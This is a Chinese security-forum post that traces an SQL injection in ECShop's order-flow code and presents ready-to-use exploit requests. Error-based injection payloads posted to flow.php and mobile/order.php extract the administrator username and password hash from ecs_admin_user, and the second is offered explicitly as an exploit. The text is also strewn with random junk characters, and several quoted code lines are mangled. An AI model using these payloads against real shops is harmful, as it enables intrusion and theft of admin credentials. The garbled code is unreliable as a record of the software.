中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。6 e' K: m2 i- M' U# ?0 @8 l

4 [5 n7 i9 S# Y( x  p6 R2 s    漏洞关键文件:
% }6 g& P* l) K2 j$ l) D4 Z9 W( p8 X& r5 |
    /includes/lib_order.php4 }; S% I/ ^! l& k' Y

2 b% I7 N2 |/ R' N" w" J+ v+ E    关键函数:8 z4 Y1 L: B+ D* \3 D

/ M$ M2 S4 k: Q7 n
0 R- S/ _9 a- _5 ?3 ^9 a
7 T3 a$ |) a; Q! @" s/ E9 T01     function available_shipping_list($region_id_list)
2 }: f. X( I) e/ M7 v& H' x% L2 {- v, K* t5 g* P+ l
02 { 8 K! q! c& D6 I) I) L- T' i/ x* W

- r, @0 R% U% r03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
# `$ c* o+ r  j  z* z4 ?2 ~: A2 v# g) y
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
3 I. E( f. v5 A5 ^% e! D
' Q$ N: W: S5 g! D05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
1 S& H2 {7 o8 G9 l6 Q
6 z  ?" l) r1 S* K06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 6 j. z2 \6 `7 @3 r4 K

6 W; N5 a! E1 M  m07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
2 o% B& }0 n8 e; B6 M1 I; H0 u! ]5 \- p1 ~/ F- Q, _! \) L6 h: V
08             'WHERE r.region_id ' . db_create_in($region_id_list) . , n: n* R+ C$ Z% y
% |4 }0 |1 n1 S0 q
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
4 ?% ^+ k5 f% H9 Z' G! u9 r: `: e# k* j' T5 y
10   
0 c# u& Y+ ]/ _* |
2 d4 w' H) Z! W6 w; h11     return $GLOBALS['db']->getAll($sql); , x6 A7 x8 B8 `+ W

! Z& n: M. J8 Q) ^+ ?9 r0 D12 } 4 G0 C' U8 Z2 r+ c4 m  E
" |2 f2 @2 @% }7 g6 j* n
显然对传入的参数没有任何过滤就带入了查询语句。
" |* I  Z9 }/ D2 y & k" Y4 o8 N. @$ I8 Q; q- _
下面我们追踪这个函数在flow.php中:
# ^9 E6 ^' }. V. X' O1 H/ ^$ s( y0 } 第531行:   : i9 a5 d' H0 D% ~$ ?
* W* Q9 K9 T* c2 Z" c2 z. R
1 $shipping_list     = available_shipping_list($region); 3 x, m* Z" j8 \: j: R0 d% L

# y' D1 _9 W  W9 |- i+ o# Q% ~' D
1 Y7 M/ b: R4 h. Z* i9 O+ ^/ }/ y# {6 n
8 T- ]) n( m9 c# S6 r

$ a: T/ R3 U( m8 z- h. ]再对传入变量进行追踪:
( z/ Q5 M, c- B6 m6 }( T& T4 H, u7 Y+ Z' v/ q1 Z- [6 K3 h2 X$ ?
第530行:    5 \% `! y2 R$ M+ o5 T' J
+ {% O+ J* L7 A
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); 3 ~+ z5 s% Q$ x3 Z
  _1 \  x7 [: K! C4 k

# i$ r, B( o, ]/ O
% m0 x9 P5 t" k7 [- \
- k" ~# [* V1 I, }6 J5 x0 Z
: |  I; l0 G' q9 `- G1 h5 k* d5 F第473行:        
1 Z3 `8 B1 I% }6 K
8 F- Y' M$ m( O: I) s% i  v1 $consignee = get_consignee($_SESSION['user_id']);
+ q+ H( s& l9 E: l. S! w8 ]
* G8 g* X3 @" S% @4 P' l$ M到了一个关键函数:
. Q' U" i, |( U+ E- Q4 [( J0 }  D0 u% A. q6 t* [' w5 d
/includes/lib_order.php
6 d2 \9 O. h( o' i0 A0 F0 K
, k1 B+ ^0 Y, a1 K/ v & U! N9 q4 z7 ~/ j% H8 ?/ x
- |6 S; }  b: T: B  _0 X
' i2 n7 |3 p+ B; Z/ v. y* c" {

( ^$ N& J9 j. z7 S+ r( m4 V01 function get_consignee($user_id) ; i2 L1 {3 G% a6 \$ \  p
6 ]& s: H2 T4 P  w, u
02 { - W, |  l% i& C8 T0 j$ P7 {
2 K$ L8 w& Z! f3 G% n! k; s; K& p
03     if (isset($_SESSION['flow_consignee'])) ) A# h0 X* J: V! a$ v

3 V" \2 s. l1 H7 N' U. `04     {
* W* W0 ?% [- c- }. o$ H: ~! Y6 J4 |8 Q  N
05         /* 如果存在session,则直接返回session中的收货人信息 */
& q0 E/ Q2 A- |+ T
' g5 C6 b, [% l: {& G, h; g- ^; M06   : o$ ?/ C) ]4 D$ n: n, x
/ C) d9 j# H6 E
07         return $_SESSION['flow_consignee'];
- m7 t8 g; s9 i+ y+ r  g8 u$ t' G$ i( ?# R
08     }
$ |8 I# _  \3 p9 X# |1 B+ [: Z" d8 g# e$ A2 a
09     else ) X: S2 e, M0 [2 ]4 i" S
: Q$ i- R7 R) L/ a+ j+ Q$ F0 {
10     { 3 v9 \. _) R( R/ C6 \5 F8 L, I

, k6 ~( {3 S: x/ [11         /* 如果不存在,则取得用户的默认收货人信息 */ ( N/ R8 h9 a; D; t6 U0 e: u7 d& S

* p" C8 Y5 m$ {: E9 \* ^12         $arr = array(); / R! m! t7 p9 _6 D; }5 O' {

' \, ]2 s6 X6 {13   2 g) c$ N1 {) m1 L/ E& H
: r8 z5 g9 }4 @
14         if ($user_id > 0)
& |$ t- X8 N) R
8 a! l5 g4 K  T8 ^2 S- ]: D$ }15         {
& J( B5 p, g- P% J  a) A6 Q+ i6 D4 l
16             /* 取默认地址 */   H3 R0 Z2 V) j. j
7 ]( p/ o+ v8 a6 ^' ?
17             $sql = "SELECT ua.*". 5 z- o+ c3 w3 M% `/ ^/ `/ V7 [3 u* l
- H2 R7 c& n6 Y0 p' x
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
# S. d. s6 s, [: r; F; l  |) ?. n8 U
7 j4 r. T. k$ x6 Z# j; n19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
9 V) V) L% m  S" D8 @
: x) G1 e0 q2 \; [20   
6 z$ q( V$ t% L4 v! t1 T  T3 ^' j5 z& c$ \& r0 H" \
21             $arr = $GLOBALS['db']->getRow($sql); ! a4 @! k% u" z9 R3 z
: O( l5 ]' n! u2 P% t8 D: k
22         } + C/ i, t* b& N9 A8 y3 [, h0 ^

* R* n5 W4 W" G* o23   4 z3 o& O# ^, u7 o# q0 ]

6 \) ^  e" c1 Q" @4 a% v24         return $arr; " N9 |6 d0 G# }

: T2 E9 c$ q+ X; f1 n  \' }25     } 7 D& ?; U* F" E* W. f! D" P
1 U0 q: z6 @5 c4 L+ ^
26 }
. o3 g1 v; V' r2 ?) L+ F" a/ \0 E( T- e% _, b4 a4 W
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
/ W' u6 ?  L+ }  r; c3 t
' k- J7 C% y) @1 [ , \; V! p+ a6 x7 P) ?8 [

# v6 s! ]' ]5 n( L关键点:. Z9 {% ~0 l! A6 w
2 p$ E+ I' q% {9 ~( O
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
7 h- S' p! l) z: O& N  j
, \& \" v" g2 _这里对传入参数反转义存入$_SESSION中。
8 Y; e! J0 @; u2 i% N+ i1 N7 J- a) p7 w( M5 n

+ n" _8 p' h6 Z0 l
$ f, |8 [, Z6 Q* Q" X$ K$ E6 h然后看下:6 Y3 ~+ _8 O8 n- p$ S

5 k' V) T! L* ~/ a3 C% T) i7 n / y# r. }; r0 w/ p5 i' G
# |2 r4 L* `4 P% C
   
4 a" G) f; s  ~% v! m( g+ z$ {/ e; Z) |! J) J
01 $consignee = array( ' {# h, ^5 N( |: N0 L1 R

6 H* r: f+ c) g3 C' V5 |( f02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
+ U. Y4 U' i3 K; Q: E" B
$ J9 r+ A( Y' e+ u03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),   N2 r& E. \1 @

& A  L0 S$ J2 D04         'country'       => empty($_POST['country'])    ? '' _POST['country'], 9 p( @3 ]% j7 I* W# M$ M4 L
" T# q9 R* S/ I5 g$ V
05         'province'      => empty($_POST['province'])   ? '' _POST['province'], 6 h- l3 W! x  G

( y5 k) l4 z, P- w, P3 _7 M% Z06         'city'          => empty($_POST['city'])       ? '' _POST['city'], 5 a0 b! d, a! ~

& G: M# u& m  r3 I3 R07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
4 R$ n6 u  X+ T  [  K! m5 c& \" Y% c) D* a( z5 K: r' N  ~# J1 ]1 U' J
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
3 l2 V1 P7 F6 p7 `# m' V% j# F0 y; q/ `4 A
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
% m. A9 Y  A& ?" X- l- v/ U2 n0 ~6 Q5 F7 P  o1 G
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 2 E2 r: |6 }1 [; L0 d7 d9 G9 t; ~

2 v: y- X$ r$ [* m11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
" k: }" q# ]' G4 s5 A' U. O; P, ^  z  I: e; O; U
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
4 H/ d: @, M, X( \. W9 O+ ^1 P% G- t
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
( f  x  c) ^/ E/ F& O: x* q% v) L  ^* ?+ y, V  q" q9 p
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'], " Q' u/ i6 A4 z1 K

" v+ n/ m8 Z& N* R- M  H1 p15     ); % {8 C$ B& ]' R5 {9 E
) z( ~9 \& q9 B# p3 [2 v: v) r
好了注入就这样出现了。1 V6 u, j& f* V* M1 i8 d& [+ k4 e

" W7 L$ h+ I1 q9 w5 t; o5 O6 T) G9 v==================
+ Z. F% n$ S, Q1 |: _" }1 p$ L6 a: L
注入测试:
5 X9 j' u# H- u5 d( Y" n) R4 I: F$ v" r6 ~  l- @
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)8 X2 T  j0 |; R: V$ Z5 n! e

& t/ Z3 F+ \1 Y% b/ x! V5 ]. I测试程序:ECShop_V2.7.3_UTF8_release1106! t$ s$ g5 ?) E

: x, N$ C$ `& ^% V: ]4 Q6 P
2 G/ ^& S' P- _+ F! A  ^9 Z2 l5 a& R+ ?/ V: p
1.首先需要点击一个商品加入购物车
( U4 m2 C% z% F9 u6 g
# i3 t$ q! A7 b1 A- j- U( q5 M2.注册一个会员帐号
. i% Q5 {7 T' [. j4 O8 X0 z3 h2 P0 x0 U: Y" X, \
3.post提交数据
4 _0 p1 R6 y9 ?1 C3 E
  e  r6 X' e+ \4 u: U6 o
- G! L' Q0 x7 z% E1 J) O7 G1 W8 v
1 http://127.0.0.1/ecshop/flow.php ! Z, Q# g* L* V
2 n, h- D, F: t
2     d& f4 D+ I- b6 n. a
5 y# |1 G1 f& b5 ?: A; H
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= 9 Y3 d& t  G! n4 S6 a
举一反三,我们根据这个漏洞我们可以继续深入挖掘:4 c5 T- _) i1 f% v2 d6 c0 ^
5 ?7 r7 |1 O7 ]4 a/ V2 _6 t: E
我们搜寻关键函数function available_shipping_list()
# c. J' y6 }7 T7 f3 m) f
; a6 B8 I5 @1 ~! R' f2 a' G在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同* H& ]5 Y3 h8 X5 Y$ |( v
9 j$ i' ]% e4 ]) T3 |
利用exp:
& ]6 f$ i* T9 U3 w: j
# e- I5 r# s. A$ Q1.点击一个商品,点击购买商标
- a0 ^1 a+ c1 y9 S
2 Y8 ]2 q7 Z1 d8 E: E2.登录会员帐号" L. _" E% S/ y( r
- }% \/ c! m, |/ h
3.post提交:. m6 _5 n) {* B& S9 ~
* R! B, t( e. @
http://127.0.0.1/ecshop/mobile/order.php* q! C( d( A; r# B

8 l9 ~5 s' O- N: S0 D" F
* L8 @. i" E3 V( U0 O$ j2 E
5 e4 w+ ?1 R/ m$ G7 ]3 u* M2 ncountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
; N" \# t$ z8 M2 ?5 ~- ~+ P- I1 z, v3 n2 Q% X- u0 `





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2